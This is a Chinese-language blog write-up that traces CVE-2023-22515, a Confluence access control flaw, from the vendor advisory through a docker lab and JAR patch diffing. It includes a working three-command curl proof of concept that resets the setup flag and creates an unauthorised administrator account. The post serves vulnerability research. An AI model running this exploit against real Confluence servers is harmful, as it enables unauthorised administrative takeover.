CVE-2023-22515 Confluence Data Center and Server 访问控制漏洞分析详情

从官方通告到 PoC 的分析全过程。

注意
本文最后更新于 2024-03-01,文中内容可能已过时。

CVE-2023-22515 Confluence Data Center and Server 访问控制漏洞分析详情

从官方通告到 PoC 的分析全过程。

CVE-2023-22515 - Broken Access Control Vulnerability in Confluence Data Center and Server | Atlassian Support | Atlassian Documentation

https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis

Atlassian 已了解到少数客户报告的一个问题,即外部攻击者可能已利用公开访问的 Confluence 数据中心和服务器实例中一个先前未知的漏洞,创建未经授权的 Confluence 管理员帐户并访问 Confluence 实例。

Affects Version/s:8.0.0, 8.1.0, 8.2.0, 8.3.0, 8.4.0, 8.5.0, 8.0.1, 8.0.2, 8.0.3, 8.0.4, 8.1.1, 8.1.3, 8.2.1, 8.1.4, 8.2.2, 8.2.3, 8.3.1, 8.3.2, 8.4.1, 8.4.2, 8.5.1

docker-compose.yml

version: '3.3'
services:
  web:
    image: atlassian/confluence-server:8.3.3
    ports:
      - "8090:8090"
      - "5005:5005"
    depends_on:
      - db
  db:
    image: postgres:12.8-alpine
    environment:
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence
docker compose up -d

使用谷歌账号登陆官方页面,申请获取使用许可。

image-20231008144838663

输入许可之后配置数据库,填写对应的 IP 和其他信息即可。

  • Database name : postgres
  • Username : postgres
  • Password : postgres

image-20231008144532287

等待片刻之后即可完成安装配置。

image-20231008145237313

开始一个新的空间即可正常使用。

image-20231008152456789

这里先给出 PoC。

curl -vk http://192.168.86.50:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
curl -vk -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=haxor&fullName=haxor&email=haxor%40localhost&password=Password2&confirm=Password2&setup-next-button=Next" http://192.168.86.50:8090/setup/setupadministrator.action
curl -vk -X POST -H "X-Atlassian-Token: no-check" http://192.168.86.50:8090/setup/finishsetup.action

使用这条命令,会把文件位置目录或者文件名包含 confluence 所有的 JAR 文件都复制到 /confluence_jar 目录。

find / -name "*confluence*.jar" -exec cp {} /confluence_jar \;

再粘贴出来分析。

docker cp 129a2b83b54e:/confluence_jar ./

压缩方便文件传输。

zip -r confluence_8.3.2_jar.zip ./confluence_jar/

管理员权限执行,重命名文件。将文件名称不同的改成相同,IDEA 才可以自动对比。

Get-ChildItem -Recurse | ForEach-Object {
  $filename = $_.Name
  if($filename -match "8.3.4"){
    $filename = $filename -replace "8.3.4","8.3.x"
    Rename-Item $_.FullName $filename
  }
}

IDEA 打开 JAR 所在的文件夹,右键 Diff

image-20231012180731853

实际上 Diff 可以看到真正有变化的 JAR 文件只有以下 7 个,也就意味着 8.3.2 到 8.3.3 肯定在其中:

com.atlassian.confluence.plugins.confluence-sal-plugin-8.3.x.jar
com.atlassian.confluence.plugins.confluence-sal-setup-plugin-8.3.x.jar
com.atlassian.confluence.plugins.confluence-ui-rest-8.3.x.jar
com.atlassian.confluence.plugins_confluence-rpc-plugin-8.3.x.jar
com.atlassian.confluence.rest.confluence-rest-plugin-8.3.x.jar
com.atlassian.confluence_confluence-8.3.x.jar
com.atlassian.confluence_confluence-hibernate-8.3.x.jar

接着,首先我们可以看到通告中的说到可以在 log 日志中查看到异常的请求信息。

Confluence 主目录中 atlassian-confluence-security.log 中的异常消息中存在 /setup/setupadministrator.action 字符串。

通过执行命令 grep -rn "setupadministrator" 查询,我在 opt/atlassian/confluence/confluence/setup/setupadministrator.vm 文件中发现以下内容。

#* @vtlvariable name="action" type="com.atlassian.confluence.setup.actions.SetupAdministrator" *#
<html>
<head>
    <title>$action.getText("title.setup.administrator")</title>
</head>
<body>
    #parse ("/setup/analytics-data.vm")
    #parse ("/setup/setup-button.vm")
    #parse ("/template/includes/actionerrors.vm")

        <p>$action.getText("setupadmin.step.description")</p>

    <h2>$action.getText("admin.configure.title")</h2>

    <form name="setupadministratorform" method="POST" action="setupadministrator.action" class="aui">
        #form_xsrfToken()
        #stextfield("label='username.name'" "name='username'" "theme='aui'"
                    "required=$action.getText('required.field')")
        #stextfield("label='admin.fullname.name'" "name='fullName'" "theme='aui'"
                    "required=$action.getText('required.field')")
        #stextfield("label='email.name'" "name='email'" "theme='aui'"
                    "required=$action.getText('required.field')"
                    "type=email")
        #spassword("label='password.name'" "name='password'" "required=$action.getText('required.field')")
        #spassword("label='confirm.name'" "name='confirm'" "required=$action.getText('required.field')")

        <div class="buttons-container">
            <div class="buttons">
                #setupNextButton(false)
            </div>
        </div>
    </form>
</body>
</html>

看起来就是我们一开始安装配置的时候的,设置管理员的 HTML 页面。

image-20231101155427694

而且很明显,处理这个 HTML 页面的类是 com.atlassian.confluence.setup.actions.SetupAdministrator。直接在提取出来的所有 JAR 文件中搜索关键字符串 SetupAdministrator,发现关联到一个叫 com.atlassian.confluence_confluence-8.3.2.jar 的 JAR 文件。

> grep -rn "SetupAdministrator"
Binary file confluence_jar/com.atlassian.confluence_confluence-8.3.2.jar matches

很明显,这个文件正好本次打了补丁做了修改。我们 Diff 查看这个文件。然而类 SetupAdministrator 并没有发生变化。

虽然已经定位到具体的 JAR 文件,但是文件中依然有许多文件可以 Diff。我们回到通告中的信息。

  • unexpected members of theconfluence-administratorsgroup
  • unexpected newly created user accounts

综合下来看,是利用安装配置的时候,设置第一个管理员账号的漏洞重新设置非预期的新管理员,接下来我们需要查看设置管理员账号的访问控制过程。

    @PermittedMethods({HttpMethod.POST})
    @RequireSecurityToken(true)
    public String execute() throws Exception {
        this.embeddedCrowdBootstrap.bootstrap();
        this.createDefaultGroups();
        this.setDefaultPermissions();
        this.createAdmin();
        this.loginAdmin();
        this.getSetupPersister().progessSetupStep();
        this.getSetupPersister().progessSetupStep();
        if ("install".equals(this.getSetupPersister().getSetupType())) {
            return "quick-setup";
        } else {
            return "custom".equals(this.getSetupPersister().getSetupType()) ? "custom-setup" : super.execute();
        }
    }

POST 请求直接就可以新建一个新的管理员账户了吗?我们尝试一下。

image-20231013180113498

很明显,这里被判断了安装已经完成了,无法设置新的管理员。接下来我们需要知道这个逻辑是在哪里判断的,这个漏洞应该是直接绕过了这个的判断逻辑,从而可以添加新的管理员账户。我们需要找一个地方来断点查看 /setup/setupadministrator.action 的拦截逻辑在哪里。